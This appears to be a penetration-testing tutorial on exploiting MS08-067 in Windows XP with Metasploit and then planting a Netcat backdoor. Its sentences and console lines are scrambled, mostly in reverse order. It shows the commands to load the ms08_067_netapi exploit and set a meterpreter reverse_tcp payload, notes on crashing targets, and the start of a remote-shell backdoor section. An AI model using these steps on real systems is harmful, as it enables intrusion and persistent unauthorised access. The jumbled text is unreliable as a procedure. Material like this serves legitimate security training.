Msf exploit(ms08_067_netapi) > show options Payload => windows/meterpreter/reverse_tcp Msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp …………………………………… Choose payload for the target ( Windows XP EN SP2 ) Msf exploit(ms08_067_netapi) > show targets Msf > use exploit/windows/smb/ms08_067_netapi

This is just the first version of this module, full support for NX bypass on 2003, along with other platforms, is still in development. Windows XP targets seem to handle multiple successful exploitation events, but 2003 targets will often crash or hang on subsequent attempts. The correct target must be used to prevent the Server Service (along with a dozen others in the same process) from crashing. This module is capable of bypassing NX on some operating systems and service packs. This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. ……………………………… Choose exploit for the target ( Windows XP EN SP2 ) Microsoft Server Service Relative Path Stack Corruption =[ svn r15401 updated today (2012.06.07) Scan Target with nmap + - –=[ 250 payloads – 27 encoders – 8 nops In this section, I will demonstrate various ways to use and create a backdoor on a Windows XP (Firewall is ON ) victim host. A backdoor is a communication channel that will provide us with a remote command shell of a previously exploited system (victim), allowing us to access the system at a later time.

In this section, we’ll use this feature to access a remote backdoor on a Windows XP (Firewall is ON ) system. One very useful feature, particularly for a penetration tester, is the ability to shovel a shell from one system to another. Netcat is a versatile tool that can perform a multitude of TCP/IP functions. Creating a Netcat Backdoor on a Windows XP

Install netcat windows